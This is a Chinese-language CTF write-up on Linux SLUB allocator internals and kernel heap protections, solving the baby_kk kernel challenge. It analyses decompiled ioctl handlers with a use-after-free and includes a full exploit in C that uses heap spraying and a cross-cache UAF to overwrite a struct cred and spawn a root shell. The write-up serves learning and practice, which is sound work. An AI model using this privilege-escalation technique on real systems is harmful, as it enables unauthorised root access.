    unsigned int object_size;   /* 实际对象大小 */
    // ... 其他字段 ...
    struct list_head full;      /* Slab 链表(管理多个 Slab) */
    struct list_head partial;   /* Slab 链表 */
    struct list_head free;      /* Slab 链表 */
};
  • 关键点:kmem_cache 不直接管理页,而是管理Slab(Slab 由页组成)。
  • 类比:kmem_cache 像“图书馆管理员”,Slab 像“书架”,页像“书”。

2. 页的定义(include/linux/mm_types.h)

struct page {
    // ... 其他字段 ...
    struct kmem_cache *slab_cache;  /* 指向所属的 kmem_cache */
    unsigned long inuse;            /* 该 Slab 中已分配对象数 */
};
  • 关键点:page->slab_cache 指向 kmem_cache(说明页属于某个 kmem_cache 管理的 Slab)。
  • 逻辑:页 → 属于 Slab → Slab → 属于 kmem_cache。

步骤 1:创建缓存(kmem_cache)

// 创建一个缓存(kmem_cache实例)
struct kmem_cache *cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_ACCOUNT);
  • 结果:cred_jar 是 kmem_cache结构体(1个缓存配置)。

步骤 2:分配对象(slub机制工作)

struct cred *cred = kmem_cache_alloc(cred_jar, GFP_KERNEL);
  • slub分配器:
  1. 从cred_jar->full链表找Slab(页)
  2. 通过page->slab_cache(指向cred_jar)关联
  3. 返回对象地址(0x1000)
  • 核心:slub分配器使用kmem_cache,但不等于kmem_cache。

“slab”是容器,“对象”是内容 → 不能混淆容器和内容。

slub = 整个内存分配器机制(内核子系统)

kmem_cache = slub管理器的“配置对象”(不是管理器本身)

“kmem_cache集合”是误解 → kmem_cache是单个缓存配置,slub管理器管理多个kmem_cache。

  • Slub分配器 = mm/slab.c 中的整个逻辑(初始化、分配、回收)。
  • kmem_cache = slub分配器创建的配置对象(每个对象管理一类对象)。

其实说来说去,slub是cache的一个实现过程的体现(如下表)

slab cache(逻辑概念)  
│  
└── slub(实现方式) ← 你的核心理解  
     │  
     └── kmem_cache(配置参数)

1. slab 在内核中的定义(include/linux/slab.h)

struct slab {
    struct page *page;        // 指向物理页
    unsigned long inuse;      // 已分配对象数
    // ... 其他字段 ...
};
  • slab 结构体:管理一个Slab逻辑块(包含多个对象)。

2. 对象的定义(struct kmem_cache 中)

struct kmem_cache {
    unsigned int size;        // 对象大小(如192字节)
    // ...
};
  • size:单个对象的大小(不是slab的大小)。

3. 分配对象的源码(mm/slab.c)

void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
    void *obj = __cache_alloc(s, flags); // 返回对象地址(不是slab)
    return obj;
}

✅ 关键点:

kmem_cache_alloc() 返回对象地址(如0x1000),不是slab地址(slab地址是页起始地址0x1000)。

羊城杯例题讲解

先介绍一下内核对象中常见的保护

Hardened Usercopy

hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界:

  • 读取的数据长度是否超出源 object 范围。
  • 写入的数据长度是否超出目的 object 范围。

这一保护被用于 copy_to_user() 与 copy_from_user() 等数据交换 API 中,不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段。

这种漏洞的话题目一般是直接给出的

Hardened freelist

类似于 glibc 2.32 版本引入的保护,在开启这种保护之前,slub 中的 free object 的 next 指针直接存放着 next free object 的地址,攻击者可以通过读取 freelist 泄露出内核线性映射区的地址,在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值:

  • 当前 free object 的地址。
  • 下一个 free object 的地址。
  • 由 kmem_cache 指定的一个 random 值。

攻击者至少需要获取到第一与第三个值才能篡改 freelist,这无疑为对 freelist 的直接利用增添不少难度。

在更新版本的 Linux kernel 中似乎还引入了一个偏移值,笔者尚未进行考证。

这个就很遥远了利用的话

Random freelist

这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址。

需要注意的是这种保护发生在 slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO。

这个保护的作用的暂时还没有见识到

CONFIG_INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行 “堆内存” 分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。

据悉性能损耗在 1%~7% 之间。

例题一:challenge(smep+smap+kpti+kaslr)

我们按照正常的分析流程来做一下

首先先来分析一下这里的功能

我们现看一下内核空间全局变量,到时候调试的关注这里的全局变量

.bss:0000000000002500 heap_list       dq ?                    ; DATA XREF: kk_ioctl+D4↑r
.bss:0000000000002500                                         ; kk_ioctl+187↑r ...
.bss:0000000000002508 ; __int64 heap_size[]
.bss:0000000000002508 heap_size       dq ?                    ; DATA XREF: kk_ioctl+1C6↑r
.bss:0000000000002508                                         ; kk_ioctl+524↑w
.bss:0000000000002510 ; __int64 heap_offset[]
.bss:0000000000002510 heap_offset     dq ?                    ; DATA XREF: kk_ioctl+1AB↑r
.bss:0000000000002510                                         ; kk_ioctl+2F6↑w ...
.bss:0000000000002518 ; char heap_inuse[40920]
.bss:0000000000002518 heap_inuse      db ?                    ; DATA XREF: kk_ioctl+F4↑r
.bss:0000000000002518                                         ; kk_ioctl+258↑r

这里的这些会有偏移,我们需要去找汇编指令来确定这里的误差

→ 0xffffffffc0201164 <kk_ioctl+00d4>  mov    r12, QWORD PTR [rax-0x3fdfc500]

命无余年: 12-04 11:35:22
这个偏移不准

命无余年: 12-04 11:35:31
内核会重排各个段

命无余年: 12-04 11:35:50
查看text段访问这个地址的汇编

命无余年: 12-04 11:36:05
然后根据lea得到具体位置

之后具体如下

(remote) gef➤  tele 0xffffffffc0203b00
0xffffffffc0203b00│+0x0000: 0xffff888004b21900  →  0x0000000000000000
0xffffffffc0203b08│+0x0008: 0x0000000000000018
0xffffffffc0203b10│+0x0010: 0x0000000000000000
0xffffffffc0203b18│+0x0018: 0x0000000000000000
0xffffffffc0203b20│+0x0020: 0xffff888004b21200  →  0x0000000000000000
0xffffffffc0203b28│+0x0028: 0x0000000000000018
0xffffffffc0203b30│+0x0030: 0x0000000000000000
0xffffffffc0203b38│+0x0038: 0x0000000000000001
0xffffffffc0203b40│+0x0040: 0xffff888004b21600  →  0x0000000000000000
0xffffffffc0203b48│+0x0048: 0x0000000000000018

这里贴出来重命名之后的,这里是add函数

限制了大小,有0x4ff索引,可以支持堆喷

     if ( index <= 0x4FF && size <= 0x100 )    // 0x1111进入这个分支
      {
        if ( heap_inuse[32 * index] )
        {
          size_ = -16;
          goto LABEL_10;
        }
        heap_ptr = _kmalloc_cache_noprof(
                     kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8],
                     3520,
                     0x100);
        idx__ = index;
        if ( index >= 0x500 )
        {
          v35 = heap_ptr;
          _ubsan_handle_out_of_bounds(&name, index);// "baby_kk.c"
          heap_ptr = v35;
        }
        heap_list[4 * idx__] = heap_ptr;
        if ( idx__ >= 0x500 )
        {
          v34 = heap_ptr;
          _ubsan_handle_out_of_bounds(&name_, idx__);// "baby_kk.c"
          heap_ptr = v34;
        }
        if ( !heap_ptr )
        {
          size_ = -12;
          goto LABEL_10;
        }
        if ( idx__ >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D80, idx__);// "baby_kk.c"
        heap_offset[4 * idx__] = 0;
        if ( idx__ >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D60, idx__);// "baby_kk.c"
        heap_size[4 * idx__] = 0;
        if ( idx__ >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D40, idx__);// "baby_kk.c"
        heap_inuse[32 * idx__] = 1;
        goto LABEL_9;
      }
LABEL_59:
      size_ = 0xFFFFFFFFFFFFFFEALL;
      goto LABEL_10;
    }

简单介绍一下kmalloc是在实现什么功能

这段代码是在分配256字节的内存,使用了随机化的kmalloc缓存选择机制。

具体分析:

  1. 0x100是分配的大小,即256字节(因为0x100 = 256)
  2. 3520是gfpflags参数(在原始代码中是0xDC0LL,即3520的十六进制表示),表示内存分配的标志
  3. kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8] 这部分代码是在随机选择一个kmalloc缓存池:
  • 通过一个随机数生成器(使用random_kmalloc_seed ^ retaddr)
  • 乘以一个常数(0x61C8864680B583EBLL)
  • 右移60位
  • 乘以14并加上8,作为索引
  • 这种随机化选择是为了避免攻击者预测分配的缓存,增加安全难度

这里是show函数,看着很长,实际上大部分都是异常测试

这个进行泄露,空间的话是0x100也是

    if ( (_DWORD)choice != 0x4444 )             // 0x4444进入这个分支
      goto LABEL_59;
    core_buf_ = core_buf;
    if ( !core_buf )
      goto LABEL_59;
    idx_ = index;
    if ( index > 0x4FF )
      goto LABEL_59;
    v10 = heap_list[4 * index];
    if ( !v10 )
      goto LABEL_59;
    v3 = heap_offset[4 * index];
    v11 = heap_size[4 * idx_];
    if ( v11 < v3 )
      goto LABEL_59;
    n0x100_1 = size;
    if ( idx_ >= 0x500 )
    {
      v26 = v10;
      buf__4 = core_buf_;
      _ubsan_handle_out_of_bounds(&off_1B80, idx_);// "baby_kk.c"
      _ubsan_handle_out_of_bounds(&off_1B60, idx_);// "baby_kk.c"
      v10 = v26;
      core_buf_ = buf__4;
    }
    if ( v11 - v3 < n0x100_1 )
      goto LABEL_59;
    if ( idx_ >= 0x500 )
    {
      v25 = v10;
      buf__5 = core_buf_;
      _ubsan_handle_out_of_bounds(&off_1B40, idx_);// "baby_kk.c"
      _ubsan_handle_out_of_bounds(&off_1B20, idx_);// "baby_kk.c"
      _ubsan_handle_out_of_bounds(&off_1B00, idx_);// "baby_kk.c"
      _ubsan_handle_out_of_bounds(&off_1AE0, idx_);// "baby_kk.c"
      v10 = v25;
      core_buf_ = buf__5;
    }
    n0x100_2 = n0x100_1;
    if ( n0x100_1 > 0x100 )
    {
      _fortify_panic(17, 256);
      goto LABEL_25;
    }
LABEL_51:
    if ( idx_ >= 0x500 )
    {
      n0x100_3 = n0x100_2;
      v27 = v10;
      buf__6 = core_buf_;
      _ubsan_handle_out_of_bounds(&off_1AC0, idx_);// "baby_kk.c"
      _ubsan_handle_out_of_bounds(&off_1AA0, idx_);// "baby_kk.c"
      n0x100_2 = n0x100_3;
      v10 = v27;
      core_buf_ = buf__6;
    }
    buf__7 = core_buf_;
    memcpy(buf_, (const void *)(v10 + (v3 << 8)), n0x100_2);
    _check_object_size(buf_, n0x100_1, 1);
    if ( !copy_to_user(buf__7, buf_, n0x100_1) )
    {
      n0x500_3 = index;
      if ( index >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A80, index);// "baby_kk.c"
      size_ = size;
      v20 = heap_offset[4 * n0x500_3];
      if ( n0x500_3 >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A60, n0x500_3);// "baby_kk.c"
      heap_offset[4 * n0x500_3] = size_ + v20;
      goto LABEL_10;
    }
LABEL_73:
    size_ = -14;
    goto LABEL_10;
  }

这里是使用的是free函数

单纯的free,没有清空指针,后面edit的时候仍然可以进行利用

这个标志位其实可有可无

        if ( (_DWORD)choice == 0x2222 )         // 0x2222进入这个分支
        {
          if ( index <= 0x4FF )
          {
            ptr = heap_list[4 * index];
            if ( ptr )
            {
              if ( heap_inuse[32 * index] )
              {
                kfree(ptr);
                idx = index;
                if ( index >= 0x500 )
                  _ubsan_handle_out_of_bounds(&off_1CC0, index);// "baby_kk.c"
                heap_inuse[32 * idx] = 0;
              }
            }
          }
LABEL_9:
          size_ = 0;
          goto LABEL_10;
        }

这里是使用的是edit函数

• 从用户态拷贝 size 字节到 heap_list[index] 指向的内核地址

 buf__8 = core_buf;                            //0x3333进入这个分支
  if ( !core_buf ) 
    goto LABEL_59;
  if ( index > 0x4FF )
    goto LABEL_59;
  if ( !heap_list[4 * index] )
    goto LABEL_59;
  n0x100_5 = size;
  if ( size > 0x100 )
    goto LABEL_59;
  _check_object_size(buf_, size, 0);
  if ( copy_from_user(buf_, buf__8, n0x100_5) )
    goto LABEL_73;
  idx_ = index;
  n0x100_6 = size;
  if ( index >= 0x500 )
  {
    n0x100_7 = size;
    _ubsan_handle_out_of_bounds(&off_1C80, index);// "baby_kk.c"
    n0x100_6 = n0x100_7;
  }
  dest = (void *)heap_list[4 * idx_];
  if ( idx_ >= 0x500 )
  {
    n0x100_8 = n0x100_6;
    _ubsan_handle_out_of_bounds(&off_1C60, idx_);// "baby_kk.c"
    n0x100_6 = n0x100_8;
  }
  if ( n0x100_6 > 0x100 )
  {
    v10 = _fortify_panic(16, -1);
    goto LABEL_51;
  }
  if ( idx_ >= 0x500 )
  {
    n0x100_9 = n0x100_6;
    _ubsan_handle_out_of_bounds(&off_1C40, idx_);// "baby_kk.c"
    n0x100_6 = n0x100_9;
  }
  memcpy(dest, buf_, n0x100_6);
  n0x500_4 = index;
  if ( index >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C20, index);// "baby_kk.c"
  size_ = size;
  heap_size[4 * n0x500_4] = size;
  if ( n0x500_4 >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C00, n0x500_4);// "baby_kk.c"
  heap_offset[4 * n0x500_4] = 0;
LABEL_10:
  mutex_unlock(&lock);
  return size_;
}

我们可以选择用常规的方法去打,也可以考虑去直接劫持cred凭证

然后我们去看一下我们利用对应的源码

4.4.72

4.5+

/*
 * initialise the credentials stuff
 */
void __initcred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred),
                     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
/*
 * initialise the credentials stuff
 */
void __initcred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred), 0,
            SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

我们可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT,这意味着 cred_jar 与 kmalloc-192 将不再合并,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权

至于为什么要用这种机制,主要是因为第三点

逻辑上的独立缓存,物理内存分配是按需的

  • 当分配struct cred时,内核只从cred_jar分配内存 → 不会占用kmalloc-192的内存
  • 当分配普通192字节数据时,内核只从kmalloc-192分配内存 → 不会占用cred_jar的内存
  • 没有额外的物理页被分配,只是逻辑隔离。

我们的大致的思路如下

首先,我们先来展示一下新手的思路

佬,这个题目的add申请对应的是kmalloc_xxx类型的kmem_cache,不是cred_dir类型的kmem_cache。按照这个5.14+的隔离机制来说的话,就算是大量申请kmalloc_xxx的obj对象,去触发buddy system申请page,然后将这种page交给keme_cache_cpu管理,也和cred_dir的利用扯不上关系。
佬你是怎么做到的cred_dir复用了kmalloc_xxx类型的obj的?

熙熙: 11-28 22:32:49
通过大量的释放

熙熙: 11-28 22:32:52
让slub全空

熙熙: 11-28 22:32:55
满足一定条件下

熙熙: 11-28 22:33:13
cache会将全空的slab释放给buddy system

这个的话利用一个堆的分配机制

exp

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>

#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long

#define PAGE_SIZE 4096

#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))

#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)

#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME

typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;

static const char* color_code(color_t c) {
    switch(c) {
        case BLUE:   return "\033[34m";
        case RED:    return "\033[31m";
        case YELLOW: return "\033[33m";
        case PINK:   return "\033[35m";
        case WHITE:  return "\033[37m";
        case GREEN:  return "\x1b[32m";
        case RESET:  return "\x1b[0m";
        default:     return "\033[0m";
    }
}

static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
    if (has_val) {
        printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
    } else {
        printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
    }
}

void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}

void bind_cpu(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void root_shell(void)
{
    puts("[*] Checking for root...");

    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

exit(EXIT_SUCCESS);
}

int fd;

struct req
{
  u8 *data;
  u64 size;
  u64 idx;
};

void add(u64 idx){
    struct req tmp={.idx=idx};
    ioctl(fd,0x1111,&tmp);
}

void del(u64 idx){
    struct req tmp={.idx=idx};
    ioctl(fd,0x2222,&tmp);
}

void edit(u8* data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size=size};
    ioctl(fd,0x3333,&tmp);
}

void show(u8*data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size=size};
    ioctl(fd,0x4444,&tmp);
}

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

struct user_key_payload {
    struct callback_head       rcu;                  /*     0    16 */
    short unsigned int         datalen;              /*    16     2 */

    /* XXX 6 bytes hole, try to pack */

    char                       data[];               /*    24     0 */

    /* size: 24, cachelines: 1, members: 3 */
    /* sum members: 18, holes: 1, sum holes: 6 */
    /* last cacheline: 24 bytes */
};

#define spray_nr 0x500

char sh[] = "/bin/sh";
int check_root_pipe[2];
uint8_t check_root_flag;
struct timespec sleep_time={
    .tv_sec=0xdeadbeef,
    .tv_nsec=0LL
};
char root[]="[*] root now\n";
char *sh_arg[]={"/bin/sh",NULL};
__attribute__((naked))void check_root(){
    __asm__(
        "   mov rdi,[check_root_pipe];"
        "   lea rsi,check_root_flag;"
        "   mov rdx,1;"
        "   xor rax,rax;"
        "   syscall;"       // read(check_root_pipe[0],check_root_flag,1);
        "   mov rax,102;"   // getuid()
        "   syscall;"
        "   cmp rax,0;"
        "   jz success;"
        "   lea rdi,[sleep_time];"
        "   mov rax,35;"
        "   xor rsi,rsi;"
        "   syscall;"       // nanosleep();
        "success:"
        "   lea rsi,[root];"
        "   mov rdi,1;"
        "   mov rdx,13;"
        "   mov rax,1;"
        "   syscall;"       // write(1,"root now",len);
        "   lea rdi,[sh];"
        "   lea rsi,[sh_arg];"
        "   xor rdx,rdx;"
        "   mov rax,0x3b;"
        "   syscall;"       // execve("/bin/sh",{"/bin/sh",NULL},NULL);
    );
}
__attribute__((naked))int clone_and_check(int flags,void (void*)){
    __asm__(
        "   mov r15,rsi;"
        "   xor rsi,rsi;"
        "   xor rdx,rdx;"
        "   xor r10,r10;"
        "   xor r8,r8;"
        "   xor r9,r9;"
        "   mov rax,56;"
        "   syscall;"      // clone(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS);
        "   cmp rax,0;"
        "   jnz  ret;"    // if parent: ret; else: jmp check_root;
        "   jmp  r15;"
        "ret:       "
        "   ret;"

    );
}

int main(int argc, char const *argv[])
{
    bind_cpu(0);
    pipe(check_root_pipe);
    fd = open("/dev/baby_kk",O_RDWR);
    if (fd<0)
    {
        errExit("open module err");
    }
    u8*buf = malloc(0x10000);

    for (size_t i = 0; i < spray_nr; i++)
    {
        add(i);
        edit(buf,0x18,i);
    }

    for (size_t i = 0; i < spray_nr; i++)
    {
        del(i);
    }
    
    for (size_t i = 0; i < spray_nr; i++)
    {
        clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS,check_root);
    }
    
    info(YELLOW,"spray cred done");

    u64 fake_cred_head[2];
    fake_cred_head[0]=0x2;
    fake_cred_head[1]=0;

    u64 gid=(u64)getgid();
    u64 uid=(u64)getuid();
    for (size_t i = 0; i < spray_nr; i++)
    {
        show(buf,0x10,i);
        if (((u64*)buf)[1] == (uid|gid<<32))
        {
            info(PINK,"uaf cred idx",i);

            edit((s8*)fake_cred_head,sizeof(fake_cred_head),i);
            goto found_uaf_cred;
        }
    }

    errExit("Failed to find uaf_cred");
    found_uaf_cred:
    
    for (size_t i = 0; i < spray_nr; i++)
    {
        write(check_root_pipe[1],"!",1);
    }
    
    sleep(0xdeadbeef);

    return 0;
}

上部分我们讲解了理论和背景知识,这一篇从零开始做一个这个题目

我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,若其中的一份被我们的 kmem_cache 取走,而另一份被用于分配其他内核结构体的 kmem_cache 取走,则我们便有可能溢出到其他的内核结构体上——这便是 cross-cache overflow。

上面这个理论知识主要来源于这个手法,通过这个手法才衍生出了我们的uaf的打法

网络问题的解决

我们通过这个指令查看一下网卡名

ip link show
ip link show ens33

我们通过这个指令查看一下网关名

ip a

我感觉我的网络要被改炸了,然后我们重置了网络配置直接

在网络好的时候一定要安全网络配置

sudo apt update
sudo apt install isc-dhcp-client

解决方法的话是在其他有网络的地方进行下载

sudo nmcli con up ens33

查看托管的情况

nmcli d

然后我们通过下面这些指令就能解决

先让NetworkManager接管所有设备:
sudo nmcli networking on
强制让ens33被管理:
sudo nmcli device set ens33 managed yes
重启网络服务:
sudo systemctl restart NetworkManager
再运行nmcli d看看,应该就变成"disconnected"了!如果还是不行,我们可以继续排查。

Cross-Cache UAF

这个是我们主要利用的手法

这个题目是挂载的img这个文件系统,所以我们需要修改一下fs.sh文件,修改之后如下

#!/bin/sh

# 设置镜像大小(可以根据需要调整,比如 64M、128M、256M)
IMG_SIZE="128M"
IMAGE_FILE="rootfs.img"

# 1. 创建镜像文件(使用稀疏文件技术节省磁盘空间)
dd if=/dev/zero of="$IMAGE_FILE" bs=1M count=0 seek=$(echo $IMG_SIZE | sed 's/M//')

# 2. 格式化镜像为 ext4 文件系统
mkfs.ext4 -F "$IMAGE_FILE"

# 3. 创建挂载点并挂载镜像
mkdir -p /tmp/rootfs_mount
sudo mount -o loop "$IMAGE_FILE" /tmp/rootfs_mount

# 4. 复制当前目录所有文件到镜像中
sudo cp -r ./* /tmp/rootfs_mount/

# 5. 确保有 init 程序(如果需要,添加一个简单的 init 脚本)
if [ ! -f /tmp/rootfs_mount/init ]; then
    echo '#!/bin/sh' > /tmp/rootfs_mount/init
    echo 'mount -t proc none /proc' >> /tmp/rootfs_mount/init
    echo 'mount -t sysfs none /sys' >> /tmp/rootfs_mount/init
    echo 'exec /bin/sh' >> /tmp/rootfs_mount/init
    chmod +x /tmp/rootfs_mount/init
fi

# 6. 卸载并清理
sudo sync
sudo umount /tmp/rootfs_mount
rmdir /tmp/rootfs_mount

echo "rootfs.img 创建成功!大小: $(du -h $IMAGE_FILE)"

然后我们简单定义一个gdb.sh脚本,定义好的如下

这里需要注意vmlinux和ko文件的路径的问题

#!/bin/sh
gdb -q \
-ex "file vmlinux" \
-ex "symbol-file vmlinux" \
-ex "add-symbol-file baby_kk.ko 0xffffffffc0201000 " \
-ex "target remote localhost:1234" \
-ex "b kk_ioctl" \
-ex "b kk_open" \
-ex "b kk_release" \
-ex "b *(0x90+0xffffffffc0201000)" \
-ex "b *(0x335+0xffffffffc0201000)" \
-ex "b *(0x4BB+0xffffffffc0201000)" \
-ex "b *(0x551+0xffffffffc0201000)"  \
-ex "b *(0x43A+0xffffffffc0201000)"  \
-ex "info b" \

然后我们开始写exp,我们直接把上一题的core的exp的脚本拿过来用

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>

#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long

#define PAGE_SIZE 4096

#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。

typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;

static const char* color_code(color_t c) {
    switch(c) {
        case BLUE:   return "\033[34m";
        case RED:    return "\033[31m";
        case YELLOW: return "\033[33m";
        case PINK:   return "\033[35m";
        case WHITE:  return "\033[37m";
        case GREEN:  return "\x1b[32m";
        case RESET:  return "\x1b[0m";
        default:     return "\033[0m";
    }
}

static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
    if (has_val) {
        printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
    } else {
        printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
    }
}

#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void*) KERNCALL;
void * (*commit_creds)(void*) KERNCALL;

//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
//绑定CPU

size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*] saved");
}//保存寄存器指令

void get_shell(){
    system("/bin/sh");
}

这里值得注意的对象的ioctl的定义不同

我们可以看到下面的ioctl,这个只需要两个参数

unsigned __int64 __fastcall _pfx_kk_ioctl(__int64 a1, __int64 choice)
{
  return kk_ioctl(a1, choice);
}

所以说一开始的时候我们这样定义ioctl,如下,当然这个是不准确的

int fd;
void add(){
    ioctl(fd,0x1111);
}
void delete(){
    ioctl(fd,0x2222);
}
void edit(){
    ioctl(fd,0x3333);
}
void show(){
    ioctl(fd,0x4444);
}

我们先建立一个框架,然后我们在写一个main函数,如下,运行测试是可以运行的

int main(){
    save();
    bind_cpu(0);
    fd = open("baby_kk",2);
    if(!fd){
        errExit("opne fail");
    }
    return 0;
}

然后我们想办法给这个进行初步的内容的扩充,我们把完整的框架补充上

这里的ioctl识别可能识别不出来,当有用到rdx的时候,就说明有没有识别出来的第三个参数

这里暂且这样记就行,这里的第三个参数很关键,还原出来这个结构体

这个结构体为什么可以加进去,这个结构体是怎么还原的,这个问题目前以我对于内核题目的了解的话还是很难去解决。

struct req{
    u8* data;
    u64 size;
    u64 idx;
};

void add(u64 idx){
    struct req tmp = {.idx=idx};
    ioctl(fd,0x1111,&tmp);
}
void delete(u64 idx){
    struct req tmp = {.idx=idx};
    ioctl(fd,0x2222,&tmp);
}
void edit(u8* data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size = size};
    ioctl(fd,0x3333,&tmp);
}
void show(u8* data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size = size};
    ioctl(fd,0x4444,&tmp);
}

然后我们就积累了很多问题,所以说趁师傅们还没有回答,我们先去学习一下这个题目的大致原理

参数的问题听师傅说是看汇编

heaplist看不了的原因是这样的

命无余年: 12-04 11:35:22
这个偏移不准

命无余年: 12-04 11:35:31
内核会重排各个段

命无余年: 12-04 11:35:50
查看text段访问这个地址的汇编

命无余年: 12-04 11:36:05
然后根据lea得到具体位置

解题原理

Cross-Cache UAF 又称作 Cross-Cache attack,在这个场景下我们通常拥有对某个特定内核对象的 UAF,但该对象本身及与其来自相同 kmem_cache 的内核对象都不具有足够的使得我们可以完成内核利用的能力,此时我们就可以考虑将其对应的 SLUB page 释放回 buddy system,再在另外一个 kmem_cache 上做堆喷将该 SLUB page 取回,从而将 UAF 漏洞迁移到另一种内核对象上。

利用思路

  • 首先分配大量来自于同一 kmem_cache 的附属对象,其中最后一批分配的对象(称为 Object Set A)来自于同一张 SLUB page(称为 Page S)
  • 接下来分配漏洞对象 victim ,与上面的对象一同来自于 Page S
  • 接下来分配大量来自于同一 kmem_cache 的附属对象,其中开头分配的一批对象(称为 Object Set B)与上面的对象一同来自于 Page S
  • 释放大量附属对象,填充满 cpu->partial 与 node->partial,最后一批释放 Object Set A、victim、Object Set B,从而使得 Page S 回到 buddy system
